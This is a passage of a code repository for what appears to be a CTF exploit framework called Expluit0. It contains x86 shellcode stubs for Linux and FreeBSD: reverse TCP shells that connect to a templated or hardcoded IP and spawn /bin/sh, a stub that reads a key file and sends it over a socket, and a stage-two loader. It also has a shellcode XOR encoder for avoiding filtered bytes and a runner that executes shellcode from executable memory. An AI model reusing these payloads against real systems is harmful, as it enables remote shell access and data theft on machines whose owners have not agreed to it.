%edx 53 | int $0x80 54 | decl %edx 55 | jns dup_loop 56 | 57 | jmp data_path 58 | # edx=open (filepath, 1, 0) 59 | open: 60 | popl %ebx ## ebx = filepath 61 | xorl %eax, %eax 62 | push %eax # mode 63 | push %eax # flags 64 | push %ebx # file path 65 | push %ebx # dummy 66 | xorl %eax, %eax 67 | movb $5, %al 68 | int $0x80 69 | movl %eax, %edx 70 | 71 | # read (edx, esi, 32) 72 | read: 73 | movl %esp, %esi 74 | sub $0x80, %esp 75 | 76 | xorl %eax, %eax 77 | movb $0xaa, %al 78 | push %eax ## 32 bytes 79 | push %esi ## buff 80 | movl %edx, %eax ## read from the file 81 | push %eax 82 | push %eax ## dummy 83 | movb $3, %al 84 | int $0x80 85 | 86 | xorl %ecx, %ecx 87 | xor_loop: 88 | movb (%esi, %ecx), %al 89 | xorb $0x99, %al 90 | movb %al, (%esi, %ecx) 91 | incl %ecx 92 | cmpb $0xaa, %cl 93 | jnz xor_loop 94 | 95 | # write (edx, esi, 32) 96 | write: 97 | xorl %eax, %eax 98 | movb $0xaa, %al 99 | push %eax ## 32 bytes 100 | push %esi ## buff 101 | push $0x0 ## write to the socket 102 | push %eax ## dummy 103 | movb $4, %al 104 | int $0x80 105 | 106 | # exit() 107 | exit: 108 | movb $1, %al 109 | int $0x80 110 | 111 | data_path: 112 | call open 113 | .ascii "/tmp/key\0" 114 | 115 | -------------------------------------------------------------------------------- /expluit0/stub/freebsd/x86/reverse.s: -------------------------------------------------------------------------------- 1 | 2 | socket: 3 | pushl $97 4 | popl %eax 5 | cdq 6 | pushl %edx 7 | incl %edx 8 | pushl %edx 9 | 10 | pushl $0x1c #AF_INET6 11 | xorl %ecx, %ecx 12 | movb $0x60, %cl 13 | pushl %ecx # interface id 14 | 15 | int $0x80 16 | 17 | connect: 18 | pushl $0x11111114 19 | pushl $0x11111113 20 | pushl $0x11111112 21 | pushl $0x11111111 22 | 23 | xorl %ecx, %ecx 24 | pushl %ecx # flowinfo 25 | 26 | pushl $0xbfbf1cbc # port number 27 | 28 | movl %esp, %ecx 29 | pushl $0x1c # size 30 | pushl %ecx # sockaddr *data 31 | pushl %eax # socket 32 | pushl %ecx 33 | 34 | xchg %ebx, %eax 35 | 36 | pushl $98 37 | popl %eax 38 | int $0x80 39 | 40 | # read (ebx, esi, 32) 41 | read: 42 | movl %esp, %esi 43 | sub $0x80, %esp 44 | 45 | xorl %eax, %eax 46 | movw $0xaaaa, %ax 47 | push %eax ## 32 bytes 48 | push %esi ## buff 49 | movl %ebx, %eax ## read from the file 50 | push %eax 51 | push %eax ## dummy 52 | movb $3, %al 53 | int $0x80 54 | 55 | # jump to the second stage 56 | jmp *%esi 57 | -------------------------------------------------------------------------------- /expluit0/stub/freebsd/x86/sample.s: -------------------------------------------------------------------------------- 1 | Hellow World! 2 | -------------------------------------------------------------------------------- /expluit0/stub/freebsd/x86/write.s: -------------------------------------------------------------------------------- 1 | # eax, ecx = temporary 2 | # edx = fd 3 | 4 | 5 | jmp data_path 6 | thestart1: 7 | 8 | popl %ebx ## ebx = filepath 9 | movl %ebx, %esi 10 | addl $0xaa, %esi ## filename length 11 | 12 | xorl %eax, %eax 13 | movw $1025, %ax 14 | push %eax 15 | push %ebx ##file path 16 | push %ebx ##dummy 17 | xorl %eax, %eax 18 | movb $5, %al 19 | int $0x80 20 | movl %eax, %edx 21 | 22 | ######## edx=open (filepath, 1, 0) 23 | 24 | xorl %eax, %eax 25 | movb $0xee, %al 26 | push %eax ## 32 bytes 27 | push %esi ## buff 28 | movl %edx, %eax ## write to the file 29 | push %eax 30 | push %eax ## dummy 31 | movb $4, %al 32 | int $0x80 33 | ######## write (edx, esi, 32) 34 | 35 | movb $1, %al 36 | int $0x80 37 | ######## exit() 38 | 39 | data_path: 40 | call thestart1 41 | .ascii "FILENAME\0" 42 | .ascii "KEY\0" 43 | 44 | -------------------------------------------------------------------------------- /expluit0/stub/linux/x64/sample.s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/posquit0/Expluit0/7d04b2ae83dd712abff4fb6f1dd91962ff64df71/expluit0/stub/linux/x64/sample.s -------------------------------------------------------------------------------- /expluit0/stub/linux/x86/read_jump.s: -------------------------------------------------------------------------------- 1 | .section .text 2 | .global _start 3 | 4 | _start: 5 | 6 | xor %eax, %eax 7 | xor %ebx, %ebx 8 | xor %ecx, %ecx 9 | xor %edx, %edx 10 | movb ${{FD_NUM}}, %bl # fd 11 | dec %ebx 12 | movb ${{PAYLOAD_SIZE}}, %dh # sizeof(payload_buf) 13 | sub %edx, %esp 14 | mov %esp, %ecx # payload_buf = esp - sizeof(payload_buf) 15 | mov %esp, %ebp # func = payload_buf 16 | movb $0x03, %al ; 17 | int $0x80 18 | # read(fd, payload_buf, 1024) 19 | 20 | jmp *%ebp ; 21 | # jump *func 22 | 23 | -------------------------------------------------------------------------------- /expluit0/stub/linux/x86/reverse_tcp.s: -------------------------------------------------------------------------------- 1 | #socket(2, 1, 6); 2 | 3 | push $6 # ipproto_tcp 4 | push $1 # sock_stream 5 | push $2 # af_inet 6 | mov %esp, %ecx # 7 | xor %ebx, %ebx # 8 | movb $1,%bl # 1 = socket() 9 | xor %eax, %eax # 10 | movb $102, %al # 102 = socketcall 11 | int $0x80 # 12 | mov %eax, %edi # backup sockfd to edi (3) 13 | 14 | 15 | # connect(sockfd, &target, 16); 16 | 17 | xor %eax, %eax # 18 | push %eax # 19 | push %eax # 20 | push ${{IP_ADDR}}# inet_addr(ip_addr) 21 | mov $0x1234{{PORT}}, %edx # mov $0x1234611e, %edx # ******* 0x1234 (dummy) + 0x611e (0x1e61 = 7777 = PORT) 22 | shl $16, %edx # 23 | movb $2, %dl # 24 | push %edx # 25 | 26 | push $16 # size (16) 27 | lea 4(%esp), %eax # 28 | push %eax # sockaddr_in의 시작 주소 29 | push %edi # sockfd (3) 30 | mov %esp, %ecx # 31 | xor %ebx, %ebx # 32 | movb $3,%bl # 3 = connect() 33 | xor %eax, %eax # 34 | movb $102, %al # 102 = socketcall 35 | int $0x80 # 36 | 37 | # socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 38 | # connect(3, {sa_family=AF_INET, sin_port=htons(7777), sin_addr=inet_addr("211.189.88.59")}, 16) = 0 39 | 40 | xor %eax, %eax 41 | xor %ecx, %ecx # 0 42 | mov %edi, %ebx # sock_fd => ebx 43 | movb $63, %al # dup2 44 | int $0x80 # syscall ( dup2(fd , 0) ) 45 | movb $63, %al # dup2 46 | inc %ecx # 1 47 | int $0x80 # syscall ( dup2(fd , 1) ) 48 | movb $63, %al # dup2 49 | inc %ecx # 2 50 | int $0x80 # syscall ( dup2(fd , 2) ) 51 | 52 | xor %eax, %eax 53 | xor %edx, %edx 54 | push %eax # NULL 55 | push $0x68732f2f# "//sh" 56 | push $0x6e69622f# "/bin" 57 | mov %esp , %ebx # &"/bin/sh"=> ebx 58 | movb $11, %al # execve 59 | push %edx # NULL 60 | push %ebx # &(&"/bin/sh") 61 | mov %esp, %ecx # 62 | int $0x80 # syscall ( execve("/bin/sh" , ["/bin/sh",0] , 0) ) 63 | -------------------------------------------------------------------------------- /expluit0/stub/linux/x86/secuinside.s: -------------------------------------------------------------------------------- 1 | #socket(2, 1, 6); 2 | 3 | push $6 # ipproto_tcp 4 | push $1 # sock_stream 5 | push $2 # af_inet 6 | mov %esp, %ecx # 7 | xor %ebx, %ebx # 8 | movb $1,%bl # 1 = socket() 9 | xor %eax, %eax # 10 | movb $102, %al # 102 = socketcall 11 | int $0x80 # 12 | mov %eax, %edi # backup sockfd to edi (3) 13 | 14 | 15 | # connect(sockfd, &target, 16); 16 | 17 | xor %eax, %eax # 18 | push %eax # 19 | push %eax # 20 | push ${{IP_ADDR}}# inet_addr(ip_addr) 21 | mov $0x1234{{PORT}}, %edx # mov $0x1234611e, %edx # ******* 0x1234 (dummy) + 0x611e (0x1e61 = 7777 = PORT) 22 | shl $16, %edx # 23 | movb $2, %dl # 24 | push %edx # 25 | 26 | push $16 # size (16) 27 | lea 4(%esp), %eax # 28 | push %eax # sockaddr_in의 시작 주소 29 | push %edi # sockfd (3) 30 | mov %esp, %ecx # 31 | xor %ebx, %ebx # 32 | movb $3,%bl # 3 = connect() 33 | xor %eax, %eax # 34 | movb $102, %al # 102 = socketcall 35 | int $0x80 # 36 | 37 | # socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 38 | # connect(3, {sa_family=AF_INET, sin_port=htons(7777), sin_addr=inet_addr("211.189.88.59")}, 16) = 0 39 | 40 | xor %eax, %eax 41 | xor %ecx, %ecx # 0 42 | mov %edi, %ebx # sock_fd => ebx 43 | movb $63, %al # dup2 44 | int $0x80 # syscall ( dup2(fd , 0) ) 45 | movb $63, %al # dup2 46 | inc %ecx # 1 47 | inc %ecx # 2 48 | int $0x80 # syscall ( dup2(fd , 2) ) 49 | 50 | xor %eax, %eax 51 | xor %edx, %edx 52 | push %eax # NULL 53 | push $0x68732f2f# "//sh" 54 | push $0x6e69622f# "/bin" 55 | mov %esp , %ebx # &"/bin/sh"=> ebx 56 | movb $11, %al # execve 57 | push %edx # NULL 58 | push %ebx # &(&"/bin/sh") 59 | mov %esp, %ecx # 60 | int $0x80 # syscall ( execve("/bin/sh" , ["/bin/sh",0] , 0) ) 61 | -------------------------------------------------------------------------------- /expluit0/utils/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -c -g -Wall 3 | OFLAGS = -g -Wall 4 | 5 | SRCDIR = . 6 | OBJDIR = . 7 | OUTDIR = . 8 | 9 | 10 | OBJS = scode_runner.o scode_encoder.o 11 | 12 | all : scode_runner scode_encoder 13 | 14 | scode_runner : scode_runner.o 15 | $(CC) -o $(OUTDIR)/scode_runner $(OBJDIR)/scode_runner.o 16 | rm -f $(OBJDIR)/scode_runner.o 17 | 18 | scode_encoder : scode_encoder.o 19 | $(CC) -o $(OUTDIR)/scode_encoder $(OBJDIR)/scode_encoder.o 20 | rm -f $(OBJDIR)/scode_encoder.o 21 | 22 | scode_runner.o : 23 | $(CC) $(CFLAGS) $(SRCDIR)/scode_runner.c -o $(OBJDIR)/scode_runner.o 24 | 25 | scode_encoder.o : 26 | $(CC) $(CFLAGS) $(SRCDIR)/scode_encoder.c -o $(OBJDIR)/scode_encoder.o 27 | 28 | clean : 29 | rm -f $(OUTDIR)/*.out $(OUTDIR)/scode_runner $(OUTDIR)/scode_encoder $(OUTDIR)/$(OBJS) 30 | -------------------------------------------------------------------------------- /expluit0/utils/alpha.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | // Inverse Function of modify 7 | // const char *modifiedBuf : pointer to string that you want to get 8 | // const int modifiedLen : length of modifiedBuf string (doesn't incl NULL) 9 | // char **restoredString : pointer of char * var which contains pointer to 10 | // generated string, this function allocate memory 11 | // for result string - you should free it 12 | // int *restoredLen : pointer of int var which contains length of generated 13 | // string 14 | void InverseModify(const char *modifiedBuf, const int modifiedLen, 15 | char **restoredString, int *restoredLen) 16 | { 17 | char binList[] = "FEHGBADCNMPOJILK"; 18 | 19 | int frequencyTable[16]; 20 | char *shellCodeBuffer; 21 | int i, j, k; 22 | 23 | int maxNum; 24 | 25 | // Build Shellcode String 26 | for (i = 0; i < 16; ++i) 27 | frequencyTable[i] = 0; 28 | shellCodeBuffer = (char *)malloc(modifiedLen * 2 + 1); 29 | for (i = 0; i < modifiedLen; ++i) 30 | { 31 | shellCodeBuffer[i * 2] = binList[(unsigned char)modifiedBuf[i] >> 4]; 32 | ++frequencyTable[(unsigned char)modifiedBuf[i] >> 4]; 33 | shellCodeBuffer[i * 2 + 1] = binList[modifiedBuf[i] & 0x0f]; 34 | ++frequencyTable[modifiedBuf[i] & 0x0f]; 35 | } 36 | shellCodeBuffer[modifiedLen * 2] = 0; 37 | 38 | // Padding for Build Desired Huffman Tree 39 | maxNum = frequencyTable[0]; 40 | for (i = 1;i < 16; ++i) 41 | if (maxNum < frequencyTable[i]) 42 | maxNum = frequencyTable[i]; 43 | 44 | *restoredLen = maxNum * 16; 45 | *restoredString = (char *)malloc(*restoredLen + 1); 46 | for (i = 0; i < strlen(shellCodeBuffer); ++i) 47 | (*restoredString)[i] = shellCodeBuffer[i]; 48 | free(shellCodeBuffer); 49 | for (j = 0; j < 16; ++j) 50 | { 51 | for (k = frequencyTable[j]; k < maxNum; ++k) 52 | { 53 | (*restoredString)[i] = binList[j]; 54 | ++i; 55 | } 56 | } 57 | (*restoredString)[*restoredLen] = 0; 58 | } 59 | 60 | int main( int *argc, char **argv) 61 | { 62 | char *filebuf; 63 | struct stat sstat; 64 | FILE *fp; 65 | int c, len; 66 | int (*funct)(); 67 | 68 | /* Check command line parameters */ 69 | if (argc < 2) { 70 | fprintf(stderr,"Usage: %s \n", argv[0]); 71 | exit(0); 72 | } 73 | 74 | /* Open shellcode file */ 75 | fprintf(stderr,"[*] (alpha) Loading shellcode from \"%s\"...\n", argv[1]); 76 | fp = fopen(argv[1], "r+b"); 77 | if( fp == NULL ) { 78 | fprintf(stderr,"[*] (alpha) Error: unable to open file \"%s\"\n", argv[1]); 79 | exit(0); 80 | } 81 | /* Get file len */ 82 | c = stat(argv[1], &sstat); 83 | if (c == -1) { 84 | exit (1); 85 | } 86 | len = sstat.st_size; 87 | 88 | /* Allocate space for file */ 89 | if (!(filebuf = (char *)malloc(len))) 90 | exit (1); 91 | 92 | /* Read file in allocated space */ 93 | c = fread(filebuf, 1, len, fp); 94 | fclose(fp); 95 | if (c != len) { 96 | exit (1); 97 | } 98 | 99 | 100 | } 101 | -------------------------------------------------------------------------------- /expluit0/utils/scode_encoder.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | * 4 | * encoder.c - Encode NULLs and other characters out of shellcode 5 | * Copyright (c) Jarkko Turkulainen 2004. All rights reserved. 6 | * 7 | * Compile: cl encoder.c (MS Visual C) 8 | * cc -o encoder encoder.c (Unix) 9 | * 10 | * This program tries to eliminate NULLs and other user-defined 11 | * characters out of shellcode. It uses a simple XOR and includes 12 | * a built-in decoder routine for x86. 13 | * 14 | * This program is public domain, do whatever pleases you with it. 15 | * If you like it, let me know! 16 | * 17 | * Usage: encoder [-f|-j|-n] 18 | * 19 | * - "shellcode" is the binary shellcode file 20 | * - "bytes" are comma-separated list of bytes that are encoded 21 | * - Use "-f" for FNSTENV XOR byte decoder (default) 22 | * - Use "-j" for traditional jump/call decoder 23 | * - Use "-n" if you don't need the built-in decoder 24 | * - If no decoder defined, "-f" is used 25 | * - Encoded shellcode is printed in _standard_output_ (NOTE!!!) 26 | * 27 | * Example: encoder code.s 0x00,0x0a,0x0d > out.s 28 | * 29 | * How it works: It tries to find a number that won't produce any of the 30 | * user-defined bytes when XOR'ed with any of the bytes in shellcode. If 31 | * it finds a one, it XORs the shellcode with that number. And in the end, 32 | * it adjusts the built-in decoder to produce and run the original 33 | * shellcode (if -n was not defined in command line). Very simple in theory, 34 | * and it seems to even work sometimes. 35 | * 36 | * How to customize: 37 | * 38 | * - Change the decoder register (eax, ebx or edx) 39 | */ 40 | #define REGISTER "eax" 41 | 42 | 43 | /* 44 | * Credits: 45 | * H.D. Moore, http://metasploit.com (FNSTENV XOR byte decoder) 46 | * Steve Fewer, http://www.harmonysecurity.com (jump/call decoder) 47 | * 48 | */ 49 | 50 | 51 | #if defined _WIN32 52 | #include 53 | #endif 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | 60 | /* Register codes */ 61 | #define REG_EAX 0 62 | #define REG_EBX 1 63 | #define REG_ECX 2 64 | #define REG_EDX 3 65 | 66 | /* Decoders */ 67 | #define DECODER_FNSTENV 0 68 | #define DECODER_JUMP 1 69 | #define DECODER_NONE 2 70 | 71 | /* Actual decoders, DO NOT MODIFY! */ 72 | unsigned char decoder_fnstenv_header[] = { 73 | 0xD9, 0xE1, 0xD9, 0x34, 0x24, 0x5B, 0x5B, 0x5B, 74 | 0x5B, 0x80, 0xEB, 0xE7, 0x31, 0xC9, 0x66, 0x81, 75 | 0xE9, 0xA1, 0xFE, 0x80, 0x33, 0x99, 0x43, 0xE2, 76 | 0xFA 77 | }; 78 | unsigned char decoder_jump_header[] = { 79 | 0xEB, 0x10, 0x5B, 0x31, 0xC9, 0x66, 0x81, 0xE9, 80 | 0xA1, 0xFE, 0x80, 0x33, 0x99, 0x43, 0xE2, 0xFA, 81 | 0xEB, 0x05, 0xE8, 0xEB, 0xFF, 0xFF, 0xFF 82 | }; 83 | 84 | 85 | #define VERSION "0.6" 86 | 87 | int main(int argc, char **argv) { 88 | char *ptr, *filebuf, *shellbuf; 89 | struct stat sstat; 90 | FILE *fp; 91 | int i, j, k, c; 92 | int reg, try, found; 93 | int decoder, total, len, size; 94 | unsigned char encode_byte, *encode_bytes; 95 | 96 | /* Print banner */ 97 | fprintf(stderr,"\nEncoder v%s - Encode NULLs and other characters out of shellcode\n" 98 | "Copyright (c) Jarkko Turkulainen 2004. All rights reserved.\n" 99 | "Read the file encoder.c for documentation.\n\n", VERSION); 100 | 101 | /* Check command line parameters */ 102 | if (argc < 3) { 103 | fprintf(stderr,"Usage: %s [-f|-j|-n] \n" 104 | "\t-f use FNSTENV XOR byte decoder\n" 105 | "\t-j use traditional jump/call decoder\n" 106 | "\t-n do not include decoder in output\n", argv[0]); 107 | fprintf(stderr,"\nExample: encoder code.s 0x00,0x0a,0x0d > out.s\n\n"); 108 | exit(0); 109 | } 110 | 111 | /* Open shellcode file */ 112 | fprintf(stderr,"Reading shellcode from \"%s\"\n", argv[1]); 113 | fp = fopen(argv[1], "r+b"); 114 | if( fp == NULL ) { 115 | fprintf(stderr,"\nERROR: unable to open file \"%s\"\n", argv[1]); 116 | exit(0); 117 | } 118 | 119 | if ((argc >= 4) && !strncmp(argv[3], "-n", 2)) 120 | decoder = DECODER_NONE; 121 | else if ((argc >= 4) && !strncmp(argv[3], "-j", 2)) { 122 | decoder = DECODER_JUMP; 123 | fprintf(stderr,"Using jump/call decoder\n" 124 | "Using register %s for decoder\n", REGISTER); 125 | } else { 126 | decoder = DECODER_FNSTENV; 127 | fprintf(stderr,"Using FNSTENV XOR decoder\n" 128 | "Using register %s for decoder\n", REGISTER); 129 | } 130 | /* Check out register */ 131 | if (!strncmp(REGISTER, "eax", 3)) 132 | reg = REG_EAX; 133 | else if (!strncmp(REGISTER, "ebx", 3)) 134 | reg = REG_EBX; 135 | else if (!strncmp(REGISTER, "edx", 3)) 136 | reg = REG_EDX; 137 | else 138 | reg = REG_EDX; 139 | 140 | /* Scan for encode bytes, 1st round */ 141 | for (i = 1, ptr= argv[2]; *ptr != '\0'; ptr++) { 142 | if (*ptr == ',') i++; 143 | } 144 | 145 | /* Space for encode bytes: */ 146 | size = i; 147 | if (!(encode_bytes = (unsigned char *)malloc(size * sizeof(unsigned char)))) 148 | exit (1); 149 | 150 | 151 | /* Scan for encode bytes, 2nd round */ 152 | encode_bytes[0] = strtoul(argv[2], NULL, 0); 153 | for (i = 1, ptr = argv[2]; *ptr != '\0'; ptr++) { 154 | if ((*ptr == ',') && (*(ptr+1) != '\0')) { 155 | encode_bytes[i] = strtoul(ptr+1, NULL, 0); 156 | i++; 157 | } 158 | } 159 | fprintf(stderr,"Removing bytes"); 160 | for (i = 0; i < size; i++) 161 | fprintf(stderr," 0x%.2X", encode_bytes[i]); 162 | fprintf(stderr,"\n"); 163 | 164 | /* Check the decoders for encode_bytes */ 165 | if (decoder == DECODER_FNSTENV) { 166 | ptr = decoder_fnstenv_header; 167 | c = sizeof(decoder_fnstenv_header); 168 | } else if (decoder == DECODER_JUMP) { 169 | ptr = decoder_jump_header; 170 | c = sizeof(decoder_jump_header); 171 | } 172 | for (i = 0; i < size; i++) { 173 | if (decoder == DECODER_NONE) break; 174 | for (j = 0; j < c; j++) { 175 | try = ptr[j]&0xff; 176 | if (encode_bytes[i] == try) { 177 | fprintf(stderr,"\nWARNING: 0x%.2X found in " 178 | "decoder routine\n\n", encode_bytes[i]); 179 | break; 180 | } 181 | } 182 | } 183 | 184 | /* Determine file len */ 185 | c = stat(argv[1], &sstat); 186 | if (c == -1) { 187 | exit (1); 188 | } 189 | len = sstat.st_size; 190 | if ((len > 0xffff) && (decoder != DECODER_NONE)) { 191 | fprintf(stderr,"\nWARNING: file size >0xFFFF, disabling decoder\n\n"); 192 | decoder = DECODER_NONE; 193 | } 194 | 195 | /* Allocate space for file */ 196 | if (!(filebuf = (char *)malloc(len))) 197 | exit (1); 198 | 199 | /* Read file in allocated space */ 200 | c = fread(filebuf, 1, len, fp); 201 | fclose(fp); 202 | if (c != len) { 203 | exit (1); 204 | } 205 | 206 | /* Scan the shellcode for suitable encode byte */ 207 | for (i = 1; i < 255; i++) { 208 | 209 | /* Mark the candidate as found */ 210 | found = 1; 211 | 212 | /* Try out every byte in encode_bytes array */ 213 | for (j = 0; j < size; j++) { 214 | 215 | /* XOR candidate with encode_bytes */ 216 | try = i^encode_bytes[j]; 217 | 218 | /* Now try every byte in shellcode */ 219 | for (k = 0; k < len; k++) { 220 | 221 | c = 0xff&filebuf[k]; 222 | 223 | /* If match, mark the candidate "not found" */ 224 | if (c == try) { 225 | found = 0; 226 | break; 227 | } 228 | } 229 | } 230 | /* Break out if byte found */ 231 | if (found == 1) break; 232 | } 233 | if (found == 1) { 234 | fprintf(stderr,"Using 0x%.2X for XOR\n", i); 235 | encode_byte = i; 236 | } else { 237 | fprintf(stderr,"\nERROR: cannot found encode byte value\n"); 238 | exit (0); 239 | } 240 | 241 | /* No decoder, simple print: */ 242 | if (decoder == DECODER_NONE) { 243 | for (c = 0; c < len; c++) { 244 | fputc(filebuf[c]^encode_byte, stdout); 245 | } 246 | fprintf(stderr,"Ready\n"); 247 | exit (0); 248 | } 249 | 250 | /* Allocate space for final shellcode */ 251 | if (decoder == DECODER_JUMP) { 252 | total = len + sizeof(decoder_jump_header); 253 | } else { 254 | total = len + sizeof(decoder_fnstenv_header); 255 | } 256 | if (!(shellbuf = (char *)malloc(total))) 257 | exit (1); 258 | 259 | /* Create the new shellcode */ 260 | 261 | /* jump/call decoder */ 262 | 263 | if (decoder == DECODER_JUMP) { 264 | /* Copy 1st header */ 265 | memcpy(&shellbuf[0], decoder_jump_header, 266 | sizeof(decoder_jump_header)); 267 | 268 | /* Copy the actual shellcode */ 269 | for (i = 0; i < len; i++) 270 | filebuf[i] = filebuf[i]^encode_byte; 271 | memcpy(&shellbuf[sizeof(decoder_jump_header)], 272 | filebuf, len); 273 | 274 | /* High len byte: */ 275 | shellbuf[9] = ((0x10000-len)>>8)&0xff; 276 | 277 | /* Low len byte: */ 278 | shellbuf[8] = (0x10000-len)&0xff; 279 | /* Adjust, if needed.. */ 280 | if (shellbuf[8] == 0) 281 | shellbuf[8]++; 282 | 283 | /* XOR byte */ 284 | shellbuf[12] = encode_byte; 285 | 286 | /* Decoder register */ 287 | switch (reg) { 288 | case REG_EAX: 289 | shellbuf[2] = 0x58; 290 | shellbuf[11] = 0x30; 291 | shellbuf[13] = 0x40; 292 | break; 293 | case REG_EDX: 294 | shellbuf[2] = 0x5a; 295 | shellbuf[11] = 0x32; 296 | shellbuf[13] = 0x42; 297 | break; 298 | case REG_EBX: 299 | shellbuf[2] = 0x5b; 300 | shellbuf[11] = 0x33; 301 | shellbuf[13] = 0x43; 302 | break; 303 | } 304 | 305 | /* FNSTENV XOR byte decoder */ 306 | 307 | } else { 308 | 309 | /* Copy header */ 310 | memcpy(&shellbuf[0], decoder_fnstenv_header, 311 | sizeof(decoder_fnstenv_header)); 312 | 313 | /* Copy the actual shellcode */ 314 | for (i = 0; i < len; i++) 315 | filebuf[i] = filebuf[i]^encode_byte; 316 | memcpy(&shellbuf[sizeof(decoder_fnstenv_header)], 317 | filebuf, len); 318 | 319 | /* High len byte: */ 320 | shellbuf[18] = ((0x10000-len)>>8)&0xff; 321 | 322 | /* Low len byte: */ 323 | shellbuf[17] = (0x10000-len)&0xff; 324 | /* Adjust, if needed.. */ 325 | if (shellbuf[17] == 0) 326 | shellbuf[17]++; 327 | 328 | /* XOR byte */ 329 | shellbuf[21] = encode_byte; 330 | 331 | /* Decoder register */ 332 | switch (reg) { 333 | case REG_EAX: 334 | shellbuf[5] = 0x58; 335 | shellbuf[6] = 0x58; 336 | shellbuf[7] = 0x58; 337 | shellbuf[8] = 0x58; 338 | shellbuf[10] = 0xe8; 339 | shellbuf[20] = 0x30; 340 | shellbuf[22] = 0x40; 341 | break; 342 | case REG_EDX: 343 | shellbuf[5] = 0x5a; 344 | shellbuf[6] = 0x5a; 345 | shellbuf[7] = 0x5a; 346 | shellbuf[8] = 0x5a; 347 | shellbuf[10] = 0xea; 348 | shellbuf[20] = 0x32; 349 | shellbuf[22] = 0x42; 350 | break; 351 | case REG_EBX: 352 | shellbuf[5] = 0x5b; 353 | shellbuf[6] = 0x5b; 354 | shellbuf[7] = 0x5b; 355 | shellbuf[8] = 0x5b; 356 | shellbuf[10] = 0xeb; 357 | shellbuf[20] = 0x33; 358 | shellbuf[22] = 0x43; 359 | break; 360 | } 361 | 362 | } 363 | 364 | /* Print out the code */ 365 | for (c = 0; c < total; c++) { 366 | fputc(shellbuf[c], stdout); 367 | } 368 | fprintf(stderr,"Ready\n"); 369 | 370 | return (0); 371 | } 372 | 373 | -------------------------------------------------------------------------------- /expluit0/utils/scode_runner.c: -------------------------------------------------------------------------------- 1 | /* loader.c -- load shellcode and run */ 2 | 3 | #if defined _WIN32 4 | #include 5 | #endif 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | 14 | int main(int argc, char **argv) { 15 | void * buf; 16 | struct stat sstat; 17 | FILE *fp; 18 | int c, size; 19 | int (*func)(); 20 | 21 | /* Check command line parameters */ 22 | if (argc < 2) { 23 | fprintf(stderr, "Usage: %s \n", argv[0]); 24 | exit(0); 25 | } 26 | 27 | /* Open shellcode file */ 28 | fprintf(stdin, "[*] Loading shellcode from \"%s\"...\n", argv[1]); 29 | fp = fopen(argv[1], "r+b"); 30 | if (fp == NULL) { 31 | fprintf(stderr, "[*] Error: unable to open file \"%s\"\n", argv[1]); 32 | exit(0); 33 | } 34 | 35 | /* Get file len */ 36 | c = stat(argv[1], &sstat); 37 | if (c == -1) { 38 | exit(0); 39 | } 40 | size = sstat.st_size; 41 | 42 | /* Allocate space for file */ 43 | if ((buf = mmap(NULL, size, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)) < 0) { 44 | fprintf(stderr, "[*] Error: Failed to allocate memory."); 45 | exit(0); 46 | } 47 | fprintf(stdin, "[*] Memory allocated at %p\n", buf); 48 | 49 | /* Read file in allocated space */ 50 | if (fread(buf, 1, size, fp) != size) { 51 | fprintf(stderr, "[*] Error: Failed to read shellcode from file."); 52 | exit(0); 53 | } 54 | 55 | fclose(fp); 56 | 57 | /* Execute the shellcode. */ 58 | fprintf(stdin, "[*] Running shellcode...\n"); 59 | func = (int (*)()) buf; 60 | (int)(*func)(); 61 | fprintf(stdin, "[*] Shellcode returned execution successfully.\n"); 62 | 63 | return 0; 64 | } 65 | 66 | -------------------------------------------------------------------------------- /setup.cfg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/posquit0/Expluit0/7d04b2ae83dd712abff4fb6f1dd91962ff64df71/setup.cfg -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2012-2013 by Posquit0. 2 | # All rights reserved. 3 | try: 4 | from setuptools import setup, find_packages 5 | except ImportError: 6 | from distutils.core import setup 7 | 8 | from sys import version_info 9 | import subprocess 10 | 11 | PACKAGE_NAME = 'Expluit0' 12 | VERSION = "0.4.2" 13 | 14 | # Custom build steps 15 | subprocess.call([ 16 | "make", "-C", "./expluit0/utils" 17 | ]) 18 | 19 | extra = dict() 20 | 21 | if version_info >= (3,): 22 | extra['use_2to3'] = True 23 | 24 | setup( 25 | name=PACKAGE_NAME, 26 | version=VERSION, 27 | author="Byungjin Park", 28 | author_email="posquit0.bj@gmail.com", 29 | maintainer="Byungjin Park", 30 | maintainer_email="posquit0.bj@gmail.com", 31 | url="https://github.com/posquit0/Expluit0", 32 | download_url="https://github.com/posquit0/Expluit0/zipball/{}".format(VERSION), 33 | description="The Exploit Framework for Your CTF", 34 | long_description=open('README.rst').read(), 35 | license="MIT", 36 | packages=find_packages( 37 | exclude=['tests', 'ez_setup', 'docs'], 38 | ), 39 | include_package_data=True, 40 | zip_safe=True, 41 | package_data={ 42 | '': [ 43 | '*.rst', 44 | '*.txt', 45 | ], 46 | 'expluit0': [ 47 | 'stub/linux/x86/*.s', 48 | 'stub/linux/x64/*.s', 49 | 'stub/freebsd/x86/*.s', 50 | 'stub/freebsd/x64/*.s', 51 | 'utils/*.c', 52 | ] 53 | }, 54 | install_requires=[ 55 | ], 56 | keywords=[ 57 | 'exploit', 'ctf', 'framework', 58 | 'posquit0', 'system', 'shellcode', 59 | 'expluit0', 'expluito', 'shell', 60 | ], 61 | platforms=[ 62 | 'Linux', 'Unix', 'Mac OS-X' 63 | ], 64 | ext_modules=[ 65 | ], 66 | **extra 67 | ) 68 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/posquit0/Expluit0/7d04b2ae83dd712abff4fb6f1dd91962ff64df71/tests/__init__.py -------------------------------------------------------------------------------- /tests/test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import unittest 4 | from Expluit0 import * 5 | 6 | 7 | class Expluit0_Test(unittest.TestCase) 8 | pass 9 | --------------------------------------------------------------------------------